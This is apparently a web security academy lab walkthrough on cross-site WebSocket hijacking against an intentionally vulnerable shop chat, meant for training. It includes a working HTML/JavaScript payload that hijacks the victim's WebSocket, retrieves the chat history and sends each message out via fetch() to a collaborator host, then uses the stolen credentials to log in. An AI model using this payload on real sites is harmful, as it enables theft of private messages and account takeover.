This online shop has a live chat feature implemented using WebSockets.
To solve the lab, use the exploit server to host an HTML/JavaScript payload that uses a cross-site WebSocket hijacking attack to exfiltrate the victim's chat history, then use this gain access to their account.
Note
To prevent the Academy platform being used to attack third parties, our firewall blocks interactions between the labs and arbitrary external systems. To solve the lab, you must use the provided exploit server and/or Burp Collaborator's default public server (burpcollaborator.net).
In Burp Proxy, in the WebSockets history tab, observe that the "READY" command retrieves past chat messages from the server.
In Burp Proxy, in the HTTP history tab, find the WebSocket handshake request. Observe that the request has no CSRF tokens.
Right-click on the handshake request and select "Copy URL".
In your browser, go to the exploit server and paste the following template into the "Body" section:
<script>
var ws = new WebSocket('wss://your-websocket-url');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
fetch('https://your-collaborator-url', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script>
Replace your-websocket-url with the URL from the WebSocket handshake (your-lab-id.web-security-academy.net/chat). Make sure you change the protocol from https:// to wss://. Replace your-collaborator-url with a payload generated by Burp Collaborator Client.
Click "View exploit".
Poll for interactions using Burp Collaborator client. Verify that the attack has successfully retrieved your chat history and exfiltrated it via Burp Collaborator. For every message in the chat, Burp Collaborator has received an HTTP request. The request body contains the full contents of the chat message in JSON format. Note that these messages may not be received in the correct order.
Go back to the exploit server and deliver the exploit to the victim.
Poll for interactions using Burp Collaborator client again. Observe that you've received more HTTP interactions containing the victim's chat history. Examine the messages and notice that one of them contains the victim's username and password.
Use the exfiltrated credentials to log in to the victim user's account.
Community solutions
Michael Sommer (no audio)
Want to track your progress and have a more personalized learning experience? (It's free!)
